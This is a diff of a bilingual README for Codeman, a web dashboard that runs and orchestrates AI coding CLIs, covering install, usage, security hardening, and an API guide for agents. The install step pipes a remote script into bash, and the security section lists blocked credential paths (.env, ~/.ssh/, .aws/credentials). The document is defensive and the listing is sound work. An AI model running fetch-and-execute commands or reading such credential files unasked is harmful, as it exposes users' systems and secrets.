+- **It asks first.** Every system change (package installs, AI CLI download) is prompted, and a menu at the end lets you choose: run Codeman in this terminal, install it as a background service (systemd/launchd, auto-start on boot), or don't start yet. Nothing runs in the background unless you pick it.
+- **Network or local-only, your choice.** The installer asks whether the dashboard should be reachable from other devices on your network (`0.0.0.0`, the default, with a strongly recommended password prompt) or from this machine only (`127.0.0.1`, safest). Skipping the password on a network bind requires an explicit confirmation and ends with a loud warning. A bare `codeman web` started by hand still defaults to loopback.
+- **Re-run to update.** The same one-liner updates a finished install in place: local changes in `~/.codeman/app` are stashed (never discarded), and a running service is restarted and verified. If a first install was interrupted, re-running resumes the full setup instead. `install.sh update` and `install.sh uninstall` also exist.
+- **CI / headless:** without a terminal attached, steps that would change your system abort with instructions instead of running silently. Set `CODEMAN_NONINTERACTIVE=1` to approve them for automation.
+
+You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), or [Gemini CLI](https://github.com/google-gemini/gemini-cli) (any combination works). The installer detects whichever of the four is present; if none is found, it offers to install Claude Code or OpenCode, or you can skip and install one yourself later. After install:

+Click **+ New Session** (or **Quick Start**). A session is one AI CLI running in its own tmux-backed terminal. You choose:
+
+| Field                        | What it does                                                                                                        |
+| ---------------------------- | ------------------------------------------------------------------------------------------------------------------- |
+| **Working directory / case** | The folder the agent operates in. A "case" is just a named working dir Codeman remembers.                           |
+| **CLI / run mode**           | `Claude` (default), `OpenCode`, `Codex`, `Gemini`, or `Terminal` (plain shell).                                     |
+| **Model**                    | Per-session model (App Settings → Claude Model). A soft default — `/model` still works in-session.                  |
+| **Effort / Ultracode**       | Reasoning effort (`low`–`max`) or `ultracode` for dynamic multi-agent workflows. Switchable anytime with `/effort`. |
+
+Hit start — Codeman spawns the CLI via a real PTY and streams it to your browser over SSE.

+
+- **Tabs (top)** — one per session. `Alt+1`-`9` to jump, `Ctrl+Tab` for next, drag to reorder (tab order syncs across your devices).
+- **Terminal (center)** — a real `xterm.js` terminal; full TUIs render correctly. Type directly and press **Enter** to send. `Shift+Enter` inserts a newline.
+- **Side panels** — Respawn, Orchestrator, Cron, Subagents, Settings (toggled from the toolbar).
+
+### 4. Talk to the agent
+
+- **Type prompts** straight into the terminal — input is delivered exactly-once even across reconnects (a dropped link never loses or double-sends a prompt).
+- **Paste or drag-and-drop images** directly into the session.
+- **Voice input** — `Ctrl+Shift+V` (Deepgram Nova-3, with auto-silence stop).

+### 6. Reach it from anywhere
+
+- **Phone/tablet** — the UI is fully touch-optimized; scan the desktop **QR code** to log in without typing a password.
+- **Outside your network** — `./scripts/tunnel.sh start` opens a Cloudflare tunnel (set `CODEMAN_PASSWORD` first).
+- **SSH** — the `sc` chooser attaches to any session from a terminal (`sc` interactive, `sc 2` quick-attach, `sc -l` list).
+
+### 7. Operate & maintain
+
+- **App Settings** — model, effort, permission startup mode, theme/skin, notifications, display toggles, per-CLI options, a synced custom display name, and per-device English/Simplified Chinese UI language.
+- **Self-update** — git-clone installs update in place from **Settings → Updates**.
+- **Deploy your own changes** — see [Development](#development).
+
+> ⚠️ **Safety:** if you're working _inside_ a Codeman-managed session (`echo $CODEMAN_MUX` → `1`), never run `tmux kill-session` / `pkill claude` directly — use the web UI or `./scripts/tmux-manager.sh`.

+- **Floating terminal windows** — draggable, resizable panels for each agent with a live activity log showing every tool call, file read, and progress update as it happens
+- **Connection lines** — animated green lines linking parent sessions to their child agents, updating in real-time as agents spawn and complete
+- **Status & model badges** — green (active), yellow (idle), blue (completed) indicators with Haiku/Sonnet/Opus model color coding
+- **Auto-behavior** — windows auto-open on spawn, auto-minimize on completion, tab badge shows "AGENT" or "AGENTS (n)" count
+- **Nested agents** — supports 3-level hierarchies (lead session -> teammate agents -> sub-subagents)
+
+Multi-agent Workflow runs ("ultracode") get the same treatment: a floating run window tracks the whole workflow live, with phases, per-agent token counts, and the current tool of every agent:

+**Agent Teams** — first-class support for Claude Code's native multi-agent teams (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`). `TeamWatcher` polls `~/.claude/teams/`, matches teammates to their lead session, and surfaces them as live subagent windows with **team-aware idle detection** — so the Respawn Controller won't fire while teammates are still working. See [`docs/agent-teams/`](docs/agent-teams/).

+- **Auto-resume on usage limit** _(opt-in, off by default)_ — when Claude halts on a subscription limit ("You've hit your limit · resets 3pm"), Codeman parses the reset time, waits it out plus a 2-minute safety buffer, then dismisses the rate-limit dialog and sends `continue` — so an overnight run survives the 5-hour window instead of stalling until morning. Recognizes every Claude Code limit-message format, retries if still limited, survives Codeman restarts, and holds respawn cycles while paused so `/clear` can't wipe the waiting conversation. Enable per session at the top of the Respawn tab
 - **Circuit breaker** — prevents respawn thrashing when Claude is stuck (CLOSED -> HALF_OPEN -> OPEN states, tracks consecutive no-progress and repeated errors)

+## Orchestrator Loop
+
+Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
+
+- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
+- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
+- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
+- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
+- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)

 ### Persistent Sessions
 
 Every session runs inside **tmux** — sessions survive server restarts, network drops, and machine sleep. Auto-recovery on startup with dual redundancy. Ghost session discovery finds orphaned tmux sessions. Managed sessions are environment-tagged so the agent won't kill its own session.
 
+### Session Manager & Command Palette
+
+`Ctrl/Cmd/Alt+K` opens a fuzzy session palette; **Browse all sessions** opens the Session Manager: one deduped list of everything Codeman knows about (live sessions, past sessions from state and lifecycle history, and Claude transcripts), each row showing its first and most recent prompt.
+
+- **Pinning**: pin a session to float it to the top of the list. Pinned sessions even survive kill (they demote to a lightweight stopped entry that stays visible and resumable).
+- **Name retention**: resuming a past session keeps its original name instead of minting a new one.
+- **Cross-device tab order**: drag-reordered tabs persist server-side, so your ordering follows you from desktop to phone.

+## More Features
+
+- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)
+- **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, or **Gemini** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `GEMINI_*`/`GOOGLE_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Docker sessions** — run a case inside an isolated, hardened container. One checkbox on **Create New** spins up a container with sensible defaults and starts the agent inside it; multiple sessions share one per-case container; export a container + its workspace to a portable `.tar.gz` to move it to another machine. See [`docs/docker-cases.md`](docs/docker-cases.md)
+- **Remote SSH sessions** — point a case at another machine and run the agent there inside a durable remote tmux: survives SSH drops, auto-reconnects, and can discover + attach sessions already running on the host. See [`docs/remote-sessions.md`](docs/remote-sessions.md)
+- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
+- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
+- **Image input** — paste or drag-and-drop images straight into a session
+- **Gesture control** _(opt-in)_ — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
+- **Multi-monitor span** _(macOS)_ — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam

+- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
+- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous
+
+---
+
+## Isolated Docker Sessions
+
+Run a case inside its own hardened Docker container instead of directly on your host — for security isolation, reproducible toolchains, and one-click portability.
+
+- **One click** — on **New Case → Create New**, tick **🐳 Run in an isolated Docker container**. Codeman creates the case folder, spins up a container with default settings, and starts the agent inside it. No host/image/network fields to fill in.
+- **Resource templates** — expand the checkbox for a **Small / Medium / Large / GPU** preset (memory, CPUs, GPU), or set your own. **Disk is elastic** — storage grows as data flows in, no fixed cap.
+- **Shared per-case container** — many sessions can `docker exec` into the same container; killing one session never tears the container out from under the others.
+- **Hardened by default** — non-root, `--cap-drop ALL`, `no-new-privileges`, PID/memory caps, never `--privileged` or the docker socket; a **sealed** profile (no host credentials, network off) is one toggle away.
+- **Seamless auth, isolated credentials** — your host Claude / Codex / Gemini / OpenCode logins work inside the container out of the box: credentials are seeded (copied) in at launch and onboarding/trust prompts are pre-answered, so no login wizard appears. The container keeps its own copies and never writes back to your host credential stores; only conversation transcripts are shared, and exports never capture secrets.
+- **Move it to another machine** — export a container's whole environment (toolchain + workspace) to a portable `.tar.gz`, `docker load` it on the other side, and import it into a fresh case.
+- **Durable** — reconnect after a restart lands back in the same live agent; a container stop/reboot resumes the conversation from the bind-mounted transcript.
+
+Prerequisite: just Docker (or Podman). The agent base image builds itself automatically on first use, with progress streamed to the UI (or pre-build it with `node scripts/build-agent-image.mjs`). Full guide: [`docs/docker-cases.md`](docs/docker-cases.md).
+
+---
+
+## Remote SSH Sessions
+
+Point a case at another machine and run the agent **there**, over SSH, with the same dashboard, mobile UI, and autonomy features. Your laptop is just a window onto a session that lives on the remote host.
+
+- **Durable by design**: the agent runs inside a dedicated tmux session on the remote host, so a dropped SSH connection, network change, or laptop sleep never kills the run. Reconnecting lands back in the same live conversation.
+- **Auto-reconnect**: a bounded-backoff watcher notices a dead SSH pane and silently reattaches to the still-running remote session (kill-switch in settings; intentional kills are never revived).
+- **Discover & attach**: list the `codeman-*` sessions already running on a host (started by that machine's own Codeman, or by another operator) and attach to one. Attached sessions you don't own **detach on tab close, never kill**.
+- **Shared sessions**: several clients can attach the same remote session at different window sizes without clamping each other; discovery shows a "shared" badge with the client count.
+- **Injection-safe**: every ssh command line flows through a single shell-escaping builder, and host/path/identity fields are schema-guarded.
+
+Set it up under **New Case → Remote** (host, user, identity file, optional jump host). Full design: [`docs/remote-sessions.md`](docs/remote-sessions.md).
+
+---
+
+## Multi-User Mode (opt-in)
+
+Share one Codeman with a small trusted team, each person getting their own login and workspace. **Off by default** — without the flag, nothing changes.
+
+Enable with `codeman web --multiuser` (or `CODEMAN_MULTIUSER=1`). Create the first admin, then manage users from the CLI or the **Users** tab in App Settings:
+
+```bash
+codeman users add alice --admin      # prompts for a password (or --password-stdin)
+codeman users add bob                # a regular user
+codeman users list
+```
+
+- **Per-user spaces** — each user's cases live under `~/codeman-users/<name>/cases`; sessions, cases, search, and real-time events are scoped to their owner. Admins see everything.
+- **Individually revocable logins** — named users with scrypt-hashed passwords in `~/.codeman/users.json`; disable, reset (one-time password), or delete an account at any time. Admin actions are audited to `~/.codeman/admin-audit.jsonl`.
+- **Safer defaults for regular users** — non-admins run Claude in `--permission-mode auto` (Anthropic's classifier-guarded mode); raw shell sessions, cron `launchCommand`, and skip-permissions require an explicit per-user grant.
+
+> ⚠️ **This separates workspaces; it does not sandbox users from each other.** Every session runs as the same OS account, so a determined user's agent can still reach another user's files. For real isolation, pair users with **Docker cases** or run separate instances under separate OS accounts. See [`docs/multi-user-plan.md`](docs/multi-user-plan.md) and the multi-user section of [`docs/security-architecture.md`](docs/security-architecture.md).

+## Security
+
+By default Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control _who_ that is. (The startup permission mode is configurable; see below.) Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md). **Found a vulnerability?** See [`SECURITY.md`](.github/SECURITY.md) for private disclosure and the list of known limitations.
+
+### Network & access
+
+- **Loopback by default** — the server binary binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box (the guided installer asks about network access and configures the binding + password for you). Binding a non-loopback host without `CODEMAN_PASSWORD` _starts but prints a loud warning_ with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
+- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
+- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers _immediately_ even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
+- **Configurable permission mode** - `--dangerously-skip-permissions` is only the default. **App Settings → Claude CLI → Startup Mode** can switch new sessions to Anthropic's classifier-guarded `auto` mode (low-prompt, needs Claude Code 2.1.207+), `normal` prompting, or an explicit allowed-tools list. In multi-user mode, non-granted users are forced to `auto`, and shell sessions / skip-permissions require an explicit per-user grant
+
+### Always-on browser hardening (v0.9.5)
+
+These run for **every** request — before auth, even on the default no-password loopback install:
+
+- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
+- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A _missing_ Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
+- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
+- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
+- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
+
+### Input, files & headers
+
+- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` env-prefix allowlist gates which settings each CLI can receive
+- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
+- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
+
+### Supply chain & isolation
+
+- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
+- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
+
+> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).

+## Driving Codeman from an Agent — Programmatic Guide
+
+For AI agents and automation that control Codeman without a browser: an agent that spins up worker sessions, a CI bot, or **Claude Code running _inside_ a Codeman session orchestrating other sessions**. Everything the UI does is HTTP + a CLI, so an agent can do it too.
+
+### Detect that you're inside Codeman
+
+When a CLI runs in a Codeman-managed session, these environment variables are set — read them instead of hardcoding anything:
+
+| Variable                   | Meaning                                                                                                                              |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
+| `CODEMAN_MUX=1`            | You're in a managed tmux session. **Never** `tmux kill-session` / `pkill claude` / `pkill tmux` — you'll kill yourself or a sibling. |
+| `CODEMAN_API_URL`          | Base URL of the API (e.g. `https://127.0.0.1:3000`). Use it for every call below.                                                    |
+| `CODEMAN_SESSION_ID`       | _Your own_ session id. Use it to avoid acting on yourself.                                                                           |
+| `CODEMAN_HOOK_SECRET_FILE` | Path to the hook secret (required on `/api/hook-event` while a managed tunnel is up).                                                |
+
+### Rules of the road (read before you POST)
+
+1. **Single-line input only.** Programmatic input is sent as literal text **+ Enter** in one shot. Multi-line strings break the agent TUI (Ink) — send one line, or split into multiple calls.
+2. **Make input idempotent.** Include a stable `clientId` and a monotonic per-session `seq` on `POST …/input`. The server de-duplicates, so a retry after a dropped connection can't double-deliver a prompt.
+3. **Auth.** If `CODEMAN_PASSWORD` is set, send HTTP Basic auth (user `admin` or `CODEMAN_USERNAME`) or a `codeman_session` cookie. The default loopback install is passwordless. A missing `Origin` header is allowed, so plain `curl` works; cross-site browser origins are rejected (CSRF guard).
+4. **Response envelope.** Most endpoints return `{ "success": true, "data": … }` (errors: `{ "success": false, "error", "errorCode" }`). A few legacy GETs return bare bodies — **handle both** (`body.data ?? body`).
+5. **`/api/v1/*`** is a stable alias of `/api/*`.
+
+### Recipes
+
+```bash
+API="${CODEMAN_API_URL:-http://127.0.0.1:3000}"
+# (add  -u admin:"$CODEMAN_PASSWORD"  to each call if a password is set)
+
+# 1. See what's running
+curl -s "$API/api/sessions" | jq '.data // .'
+
+# 2. Spin up a worker session (a "case" = named working dir)
+curl -s -X POST "$API/api/quick-start" \
+  -H 'Content-Type: application/json' \
+  -d '{"caseName":"refactor-auth","mode":"claude","effort":"high"}' | jq
+
+# 3. Send a prompt into a session (exactly-once: clientId + seq)
+curl -s -X POST "$API/api/sessions/$SID/input" \
+  -H 'Content-Type: application/json' \
+  -d '{"input":"Run the test suite and summarize failures","useMux":true,"clientId":"agent-1","seq":1}'
+
+# 4. Read the terminal back
+curl -s "$API/api/sessions/$SID/output" | jq -r '.data // .'
+
+# 5. Stream live events (session output, agent activity, status)
+curl -sN "$API/api/events"          # Server-Sent Events
+
+# 6. Schedule recurring work (cron-style job)
+curl -s -X POST "$API/api/cron/jobs" \
+  -H 'Content-Type: application/json' \
+  -d '{"name":"nightly-deps","agentType":"claude","workingDir":"/home/me/proj",
+       "promptMode":"inline_text","promptText":"Update dependencies and open a PR",
+       "inputMode":"typed","scheduleType":"daily","dailyTime":"03:00",
+       "enabled":true,"concurrencyPolicy":"warn_only"}' | jq
+
+# 7. Inspect background sub-agents and their transcripts
+curl -s "$API/api/subagents" | jq '.data // .'
+curl -s "$API/api/subagents/$AID/transcript" | jq -r '.data // .'
+
+# 8. Whole-system snapshot (sessions, settings, respawn, stats)
+curl -s "$API/api/status" | jq
+```
+
+### Or use the bundled CLI
+
+The same operations are available as commands (`codeman <cmd>`, aliases in parentheses) — handy from a shell tool inside a session:
+
+```bash
+codeman session start -d /path/to/repo   # (s)  start a session
+codeman session list                     #      list sessions
+codeman session logs <id>                #      tail output
+codeman task add "fix the failing test"  # (t)  queue a task
+codeman attach <path>                     #      attach a Claude hook context
+```
+
+### Hooks (events flowing _back_ to Codeman)
+
+Codeman registers Claude Code hooks that `POST /api/hook-event` (`permission_prompt`, `idle_prompt`, `stop`, `task_completed`, …) so the dashboard reacts in real time. This endpoint is auth-exempt on loopback but, under a managed tunnel, requires the `X-Codeman-Hook-Secret` header (read it from `$CODEMAN_HOOK_SECRET_FILE`). You normally don't call this by hand — Codeman wires it up — but it's how the autonomy layers "see" what the agent is doing.

 The codebase went through a comprehensive 7-phase refactoring that eliminated god objects, centralized configuration, and established modular architecture:
 
-| Phase | What changed | Impact |
-|-------|-------------|--------|
-| **Performance** | Cached endpoints, SSE adaptive batching, buffer chunking | Sub-16ms terminal latency |
-| **Route extraction** | `server.ts` split into 13 domain route modules + auth middleware + port interfaces | **−60%** server.ts LOC (6,736 → 2,697) |
-| **Domain splitting** | `types.ts` → 14 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |

+一行命令即可安装（macOS 和 Linux，Windows 通过 WSL）：
+
+```bash
+curl -fsSL https://getcodeman.com/install | bash
+```
+
+```bash
+codeman web
+# 打开 http://localhost:3000，开启你的第一个会话
+```
+
+安装器在每次系统改动前都会先询问；重跑同一条命令即可原地更新。详见[快速开始 — 安装](#快速开始--安装)。
+
+---
+
+## 快速开始 — 安装
+
+```bash
+curl -fsSL https://getcodeman.com/install | bash
+```
+
+该脚本会在缺失时自动安装 Node.js 和 tmux，把 Codeman 克隆到 `~/.codeman/app` 并完成构建。几点须知：
+
+- **先询问，后改动。** 所有系统级改动（安装软件包、下载 AI CLI）都会先征求确认；结束时的菜单可选择：直接在本终端运行、安装为后台服务（systemd/launchd，开机自启），或暂不启动。不选就不会有任何后台进程。
+- **重跑即更新。** 再次运行同一条命令即可原地更新已完成的安装：`~/.codeman/app` 中的本地改动会被 stash（绝不丢弃），运行中的服务会自动重启并校验。若首次安装中途失败，重跑会继续完成完整的安装流程。也可以使用 `install.sh update` 与 `install.sh uninstall`。
+- **CI / 无终端环境：** 没有终端时，涉及系统改动的步骤会带着说明中止，而不是静默执行；在自动化场景设置 `CODEMAN_NONINTERACTIVE=1` 即可批准这些步骤。
+
+你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli) 或 [Gemini CLI](https://github.com/google-gemini/gemini-cli)（任意组合均可）。安装器会自动检测这四个中已安装的任意一个；若一个都没有，会提供安装 Claude Code 或 OpenCode 的选项，也可以选择跳过、稍后自行安装。安装完成后：
+
+```bash
+codeman web
+# 打开 http://localhost:3000，开启你的第一个会话
+```
+
+**想和小团队共用一台？** 改用多用户模式启动：每人拥有自己的登录与工作空间。
+
+```bash
+codeman users add alice --admin      # 创建第一个管理员账号
+codeman web --multiuser              # 命名登录 + 按用户隔离的案例空间
+```
+
+详见下文[多用户模式](#多用户模式可选启用)。
+
+<details>
+<summary><strong>作为后台服务运行</strong></summary>
+
+安装器结尾的菜单（选项 2）可以帮你完成这一步，并在宣告成功前校验服务确实已启动。如需手动配置：
+
+**Linux（systemd）：**
+
+```bash
+mkdir -p ~/.config/systemd/user
+cat > ~/.config/systemd/user/codeman-web.service << EOF

+
+Codeman 依赖 tmux，因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL：在管理员 PowerShell 中运行 `wsl --install`，重启，打开 Ubuntu，然后在 WSL 内安装你偏好的 AI 编程 CLI（[Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli) 或 [Gemini CLI](https://github.com/google-gemini/gemini-cli)）。安装完成后，即可从 Windows 浏览器访问 `http://localhost:3000`。

+- **滑动导航与智能键盘处理** —— 左右滑动切换会话；键盘弹出时工具栏与终端整体上移（`visualViewport` API）
+- **为手机而生** —— 刘海与 Home 指示条的安全区适配、44px 触控目标、底部抽屉式 case 选择器、原生惯性滚动
+
+```bash
+codeman web --https
+# 在手机上打开：https://<你的IP>:3000
+```
+
+> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`，或使用 [Tailscale](https://tailscale.com/)（推荐）—— 它提供私有网络，让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。
+
+### 安全的二维码认证
+
+在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码，手机即刻完成认证。
+
+每个二维码编码的是一个包含 6 字符短码的 URL，该短码在服务端映射到一个 256 位密钥（`crypto.randomBytes(32)`）。令牌每 **60 秒**自动轮换，**首次扫描即原子性消费**（重放永远失败），并采用**基于哈希的 `Map.get()` 查找**，不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
+
+该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025，该研究发现 Top-100 网站中有 47 个存在漏洞）所指出的全部 6 个关键二维码认证缺陷：强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知（QRLjacking 检测），以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制（按 IP + 全局）使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
+

+
+## 使用 Codeman —— 人类操作指南
+
+从头到尾走一遍如何在浏览器里驾驭 Codeman。如果你刚装好，就从这里开始。
+
+### 1. 启动服务器
+
+```bash
+codeman web                       # localhost:3000（仅环回 —— 安全默认值）
+codeman web --port 8080           # 自定义端口（或设置 CODEMAN_PORT）
+codeman web --https               # 自签名 TLS（仅远程访问时需要）
+codeman web -H 0.0.0.0            # 绑定局域网 —— 必须设置 CODEMAN_PASSWORD（见「安全」）
+```
+
+打开打印出的 URL。整个页面是一个单一仪表盘；下面的一切都在这里完成。
+
+### 2. 创建你的第一个会话
+
+点击 **+ New Session**（或 **Quick Start**）。一个会话就是一个运行在自己 tmux 终端里的 AI CLI。你可以选择：
+
+| 字段                   | 作用                                                                                        |
+| ---------------------- | ------------------------------------------------------------------------------------------- |
+| **工作目录 / case**    | 智能体操作的文件夹。「case」就是一个 Codeman 记住的命名工作目录。                           |
+| **CLI / 运行模式**     | `Claude`（默认）、`OpenCode`、`Codex`、`Gemini` 或 `Terminal`（普通 shell）。               |
+| **模型**               | 每会话模型（App Settings → Claude Model）。软默认值 —— 会话内 `/model` 依然有效。           |
+| **Effort / Ultracode** | 推理力度（`low`–`max`），或用 `ultracode` 开启动态多智能体工作流。随时可用 `/effort` 切换。 |
+
+点击启动 —— Codeman 通过真实 PTY 拉起 CLI，并经 SSE 流式传输到你的浏览器。
+
+### 3. 读懂仪表盘
+
+- **标签（顶部）** —— 每个会话一个。`Alt+1`–`9` 跳转，`Ctrl+Tab` 下一个，拖拽排序（标签顺序会跨设备同步）。
+- **终端（中央）** —— 真实的 `xterm.js` 终端；完整 TUI 正常渲染。直接输入并按 **Enter** 发送。`Shift+Enter` 插入换行。
+- **侧边面板** —— Respawn、Orchestrator、Cron、Subagents、Settings（从工具栏切换）。
+
+### 4. 与智能体对话
+
+- **直接在终端输入提示** —— 即使跨越重连，输入也是精确一次送达（连接中断绝不会丢失或重复发送提示）。
+- **粘贴或拖放图片**，直接进入会话。
+- **语音输入** —— `Ctrl+Shift+V`（Deepgram Nova-3，自动静音停止）。
+- **附件** —— 注册外部文件/文档，并内联预览 Office/PDF。
+
+### 5. 让它自主运行
+
+| 模式             | 用途                                                                                                      | 位置                                                               |

+### 6. 随时随地访问
+
+- **手机/平板** —— UI 完全触控优化；扫描桌面上的**二维码**即可免密码登录。
+- **网络之外** —— `./scripts/tunnel.sh start` 打开一条 Cloudflare 隧道（先设置 `CODEMAN_PASSWORD`）。
+- **SSH** —— `sc` 选择器可从终端附着任意会话（`sc` 交互式，`sc 2` 快速附着，`sc -l` 列表）。
+
+### 7. 运维与维护
+
+- **App Settings** —— 模型、effort、权限启动模式、主题/皮肤、通知、显示开关、各 CLI 的专属选项，以及跨设备同步的自定义显示名称和按设备保存的英文/简体中文界面语言。
+- **自更新** —— git-clone 安装可在 **Settings → Updates** 中原地更新。
+- **部署你自己的改动** —— 见[开发](#开发)。
+
+> ⚠️ **安全提示：** 如果你正在 Codeman 受管会话*内部*工作（`echo $CODEMAN_MUX` → `1`），绝不要直接运行 `tmux kill-session` / `pkill claude` —— 请使用 Web UI 或 `./scripts/tmux-manager.sh`。

+## 零延迟输入叠加层
+
+<p align="center">
+  <img src="docs/images/zerolag-demo-20260728.gif" alt="Zerolag 演示：两台手机并排对比，即时本地回显与 600ms-2.7s 服务端回显" width="900">
+</p>
+
+远程访问你的编程智能体时（VPN、Tailscale、SSH 隧道），每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**，无论延迟多高，打字都感觉即时。
+
+xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY，因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时，叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
+
+- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在，完全不受 Ink 持续重绘屏幕的影响（此前两次使用 `terminal.write()` 的尝试都失败了，因为 Ink 会破坏注入的缓冲区内容）
+- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`，使叠加层文本与真实终端输出在视觉上无法区分
+- **完整编辑** —— 退格、重打、粘贴（多字符）、光标跟踪，输入超过终端宽度时多行换行
+- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
+- **默认启用** —— 桌面端与移动端均可用，会话空闲或繁忙时都生效

+
+## 实时智能体可视化
+
